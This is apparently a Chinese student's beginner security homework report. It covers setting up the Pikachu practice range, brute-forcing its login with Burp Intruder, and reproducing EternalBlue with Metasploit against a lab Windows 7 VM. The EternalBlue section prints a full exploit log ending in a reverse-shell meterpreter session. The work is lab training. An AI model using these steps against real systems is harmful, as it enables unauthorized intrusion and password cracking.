安全初级作业1
一、作业要求
1、搭建 挂载
2、小皮面板搭建pikachu靶场
3、bp使用爆破模块破解pikachu的登录密码的步骤,佩戴截图
4、msf复现永恒之蓝
5、使用过的网站
二、操作过程
(一)搭建 挂载
1、安装
指令:root@root:~# apt-get install docker.io docker-compose
2、查看版本
3、挂载
设置docker代理
在Linux中使用root身份创建文件夹以及对应的文件:
root@root:~# cd /
root@root:/# mkdir /etc/systemd/system/docker.service.d 创建
mkdir: 无法创建目录 "/etc/systemd/system/docker.service.d": 文件已存在
root@root:/# vim /etc/systemd/system/docker.service.d/http-proxy.conf
重启服务
4、安装nginx
5、拉取docker镜像
docker pull nginx
(二)小皮面板搭建pikachu靶场
1、打开小皮面板,开启MySQL和nginx
2、搭建pikachu靶场
(1)下载pikachu
地址:GitHub - zhuifengshaonianhanlu/pikachu
下载好后放置在WWW目录下
(2)创建网站
(3)修改配置文件
将D:\phpstudy_pro\WWW\pikachu-master\inc\config.inc.php和D:\phpstudy_pro\WWW\pikachu-master\pkxss\inc\config.inc.php中的用户密码改为小皮面板数据库界面中的用户密码
(4)访问靶场
IP地址加pikachu
(三)使用bp爆破模块破解pikachu的登录密码的步骤,佩戴截图
1、打开内置浏览器进入pikachu靶场
2、打开pikachu靶场左边目录的暴力破解中的“基于表单的暴力破解”
3、在Burp中打开拦截
在pikachu中输入用户和密码时,burp上会显示已拦截。
4、将拦截到的内容载入到intruder(破解模块),并添加payload位置
5、将准备好的字典导入
6、单击查看最特殊的就是密码
7、结果
猜测密码是:123456
登录框输入:
user: root
password:123456
提交后发现登陆成功login success
(四)msf复现永恒之蓝
1、进入msf终端
2、查询永恒之蓝模块
3、查询模块信息
4、使用序号0的模块(永恒之蓝)
5、运行
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.44.131:4444
[*] 192.168.44.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.44.129:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.44.129:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.44.129:445 - The target is vulnerable.
[*] 192.168.44.129:445 - Connecting to target for exploitation.
[+] 192.168.44.129:445 - Connection established for exploitation.
[+] 192.168.44.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.44.129:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.44.129:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.44.129:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.44.129:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.44.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.44.129:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.44.129:445 - Sending all but last fragment of exploit packet
[*] 192.168.44.129:445 - Starting non-paged pool grooming
[+] 192.168.44.129:445 - Sending SMBv2 buffers
[+] 192.168.44.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.44.129:445 - Sending final SMBv2 buffers.
[*] 192.168.44.129:445 - Sending last fragment of exploit packet!
[*] 192.168.44.129:445 - Receiving response from exploit packet
[+] 192.168.44.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.44.129:445 - Sending egg to corrupted connection.
[*] 192.168.44.129:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (192.168.44.131:4444 -> 192.168.44.129:49292) at 2025-07-12 17:01:48 +0800
[+] 192.168.44.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.44.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.44.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=meterpreter >
攻击成功,进入meterpreter终端。成功复现永恒之蓝
(五)笔记,使用过的网站
1、网络安全相关知识
(1)信息安全、网络安全三要素:保密性、完整性、可用性
(2)渗透攻击(初级+高级)和防御:技术手段主要为防火墙
(3)帽子:白帽子(授权测试)、黑帽子(非法入侵)、灰帽子
2、web安全
(1)web:网站为WWW,是互联网的一部分
(2)web常见的安全漏洞: SQL 注入(数据库)、XSS 跨站脚本攻击、文件上传下载漏洞、弱口令、CSRF 攻击。
(3)在复现的过程中使用到了 docker 、 bp、 ubuntu(命令apt)等工具
(4)渗透工具:bp、msf(攻击的工具)
(5)信息收集工具:nmap、web网站、hack、fofa
3、虚拟环境的搭建: 靶场
(1)靶场搭建的方式
①传统方式:使用 VMware 搭建 LNMP(Linux、Nginx、MySQL、PHP)或 LAMP(Linux、Apache、MySQL、PHP)环境,涉及中间件(如 Nginx、Apache、Tomcat 等)。
②面板工具:小皮面板(https://old.xp.cn/windows - panel.html )、宝塔面板(宝塔面板下载,免费全能的服务器运维软件 ),可快速搭建服务。
③Docker 搭建:一键部署,轻量级且能实现应用的快速部署、隔离运行和资源高效利用。
(2)中间件:类似于现实生活中的 “快递中转站”,负责不同系统、不同服务之间的通信和协作,连接前端、后端、数据库等,提供通用功能(缓存、消息队列、权限控制),提高开发效率。
(3)中间件的分类:
①web服务器中间件:nginx、apache Caddy
②应用服务器中间件php-fpm tomcat uWSGI
面板网站
小皮面板
:https://m.xp.cn/phpstudy
宝塔面板
:https://www.bt.cn/new/download.html